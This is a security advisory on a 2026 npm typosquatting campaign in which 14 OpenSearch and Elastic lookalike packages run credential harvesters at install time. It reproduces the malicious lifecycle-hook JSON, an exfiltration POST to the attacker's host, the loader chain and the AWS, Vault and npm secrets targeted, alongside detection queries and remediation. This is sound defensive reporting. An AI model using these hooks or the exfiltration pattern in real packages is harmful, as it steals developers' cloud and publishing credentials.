critical
CVE
Not assigned
CWE
CWE-506, CWE-829, CWE-200
Affected Surface
@vpmdhaj/elastic-helper 1.0.7269, @vpmdhaj/devops-tools 1.0.7267, @vpmdhaj/opensearch-setup 1.0.7267, @vpmdhaj/search-setup 1.0.7268, opensearch-security-scanner 1.0.10, opensearch-setup 1.0.9103, opensearch-setup-tool 1.0.9108, opensearch-config-utility 1.0.9106, search-engine-setup 1.0.9108, search-cluster-setup 1.0.9104, elastic-opensearch-helper 1.0.9108, vpmdhaj-opensearch-setup 1.0.9102, env-config-manager 2.1.9201, app-config-utility 1.0.9300, npm developer workstations and CI/CD runners that installed these packages on or after 2026-05-28
Microsoft reported a May 28 npm supply-chain campaign in which a newly created maintainer account, vpmdhaj, published 14 malicious packages within roughly four hours. The packages impersonated OpenSearch, ElasticSearch, DevOps, and configuration tooling, then executed automatically during package installation.
The important application-security impact is not the typosquat itself. It is the second-stage target set. The payload was built to harvest credentials from AWS, HashiCorp Vault, GitHub Actions, and npm publishing workflows. A successful install on a developer laptop or CI runner could expose cloud sessions and npm publish tokens, which can then be used for lateral movement or another package compromise.
Affected npm packages
All 14 packages were published by the vpmdhaj npm account on 2026-05-28 and have been reported as removed. Treat any install, build, cache restore, or artifact creation involving these names on or after 2026-05-28 as an exposure event.
| Package | Malicious version | Lure |
|---|---|---|
@vpmdhaj/elastic-helper | 1.0.7269 | ElasticSearch/OpenSearch helper |
@vpmdhaj/devops-tools | 1.0.7267 | DevOps and OpenSearch setup |
@vpmdhaj/opensearch-setup | 1.0.7267 | OpenSearch setup utility |
@vpmdhaj/search-setup | 1.0.7268 | Search engine setup |
opensearch-security-scanner | 1.0.10 | OpenSearch security scanner |
opensearch-setup | 1.0.9103 | OpenSearch setup lookalike |
opensearch-setup-tool | 1.0.9108 | OpenSearch setup lookalike |
opensearch-config-utility | 1.0.9106 | OpenSearch config lookalike |
search-engine-setup | 1.0.9108 | Search cluster setup |
search-cluster-setup | 1.0.9104 | Search cluster setup |
elastic-opensearch-helper | 1.0.9108 | Elastic/OpenSearch bridge helper |
vpmdhaj-opensearch-setup | 1.0.9102 | Author-named OpenSearch setup |
env-config-manager | 2.1.9201 | Dotenv-style config manager |
app-config-utility | 1.0.9300 | Generic application config utility |
The unscoped packages also spoofed package.json metadata back to the legitimate OpenSearch JavaScript client repository. That is a trust-transfer tactic: code reviewers and developers see a familiar repository URL even though npm is installing an attacker-published tarball.
Install-time execution
The campaign did not wait for application code to import the package. The malicious path started at npm lifecycle execution. The practical execution boundary is:
npm install
-> package.json lifecycle hook
-> node preinstall.js or node setup.mjs
-> credential harvester runs before application tests start
Microsoft described two generations of stagers.
The earlier generation used multiple lifecycle hooks pointing at the same local JavaScript stager:
{
"scripts": {
"install": "node preinstall.js",
"preinstall": "node preinstall.js",
"postinstall": "node preinstall.js"
}
}
That stager collected host context, encoded it, and sent it to the actor-controlled endpoint with a campaign marker:
POST /x.php HTTP/1.1
Host: aab.sportsontheweb.net
X-Supply: 1
Content-Type: application/json
The response path dropped a second stage as payload.bin, marked it executable, and launched it detached from npm:
preinstall.js
-> collect hostname/platform/arch/Node version/user/cwd/INIT_CWD/package name
-> POST host profile to aab.sportsontheweb[.]net/x.php
-> receive compressed payload
-> write node_modules/<package>/payload.bin
-> chmod 0755
-> spawn detached with __DAEMONIZED=1
The later generation removed the install-time C2 fetch and used the legitimate Bun runtime as a loader. That path is more difficult to catch with simple “npm install made a suspicious HTTP request” detections because the stager can fetch a legitimate GitHub Release for Bun and execute a payload already present in the tarball.
setup.mjs
-> check whether bun is already installed
-> download Bun v1.3.13 from github.com/oven-sh/bun/releases if missing
-> extract using unzip, PowerShell Expand-Archive, or a JS ZIP parser
-> run opensearch_init.js or ai_init.js with Bun
What the payload targeted
The second stage was reported as an approximately 195 KB Bun-compiled JavaScript credential harvester. Its target list maps directly to common cloud-connected developer and CI environments.
AWS collection included:
169.254.169[.]254 # EC2 Instance Metadata Service
169.254.170[.]2 # ECS task metadata endpoint
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
sts:GetCallerIdentity
sts:AssumeRole
secretsmanager:ListSecrets
secretsmanager:GetSecretValue
Vault collection included:
VAULT_TOKEN
VAULT_AUTH_TOKEN
npm and GitHub Actions collection included:
/-/whoami
/-/npm/v1/tokens
GITHUB_REPOSITORY
RUNNER_OS
The npm token behavior is especially important. If a developer or CI runner held publish rights, the attacker could move from this 14-package typosquat set into a second-stage supply-chain compromise of legitimate packages. That is the same escalation shape seen in the Mini Shai-Hulud npm waves: steal developer or CI secrets first, then use trusted automation to publish malware under real package identities.
Why OpenSearch and Elastic lures matter
The package names were selected for developers likely to touch search clusters, observability pipelines, and cloud-hosted infrastructure. That audience is more likely to have:
- AWS developer credentials or role-assumption permissions
- access to Elastic/OpenSearch deployment secrets
- Vault tokens in shell profiles,
.envfiles, or CI variables - GitHub Actions context on build runners
- npm publish tokens cached for release automation
This is a credential-access campaign masquerading as package ecosystem noise. The package names were the delivery channel; the intended blast radius was cloud control planes and publishing pipelines.
Detection ideas
Start with lockfiles and package caches:
rg "@vpmdhaj|opensearch-setup|opensearch-config-utility|elastic-opensearch-helper|env-config-manager|app-config-utility" package-lock.json yarn.lock pnpm-lock.yaml
Look for lifecycle execution around the affected names:
DeviceProcessEvents
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install", "setup.mjs", "preinstall.js")
| where ProcessCommandLine has_any ("@vpmdhaj", "opensearch-setup", "opensearch-config-utility", "elastic-opensearch-helper", "env-config-manager", "app-config-utility")
Hunt for the Gen-1 C2 and campaign header:
aab.sportsontheweb[.]net
hxxp://aab.sportsontheweb[.]net/x.php
X-Supply: 1
payload.bin
__DAEMONIZED=1
Hunt for the Gen-2 Bun loader:
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"
Cloud teams should correlate local install evidence with AWS and Vault activity. The suspicious sequence is a Node or Bun process touching metadata services, followed by rapid cloud identity and secrets enumeration:
node or bun -> 169.254.169[.]254
node or bun -> 169.254.170[.]2
sts:GetCallerIdentity
sts:AssumeRole
secretsmanager:ListSecrets across multiple regions
secretsmanager:GetSecretValue
Remediation
For any workstation or runner that installed one of the affected packages:
- remove the package and rebuild the environment from a trusted base image
- rotate AWS IAM keys, STS sessions, Vault tokens, GitHub Actions secrets, and npm publish tokens exposed to that environment
- review npm token audit logs and package publication history for unexpected publishes
- block
aab.sportsontheweb[.]netat DNS, proxy, and firewall layers - set
ignore-scripts=trueby default for dependency installation paths that do not explicitly require lifecycle hooks - require
npm cior equivalent lockfile-enforced installs in CI - pin package provenance for tooling that runs on release builders
The defensive lesson is narrower than “avoid typosquats.” These packages ran before application code. Controls that only scan imported modules, application routes, or production bundles will miss the point where secrets are exposed: the dependency installation step.
References
- Microsoft: Typosquatted npm packages used to steal cloud and CI/CD secrets
- The Register: 14 malicious npm packages impersonated OpenSearch and Elasticsearch libraries
- SecurityOnline: npm supply chain attack drops credential harvesting malware
- RedPacket Security: Typosquatted npm packages used to steal cloud and CI/CD secrets
- npm CLI documentation: scripts
- Bun runtime documentation
- AWS: Configure IMDSv2
- CWE-506 Embedded Malicious Code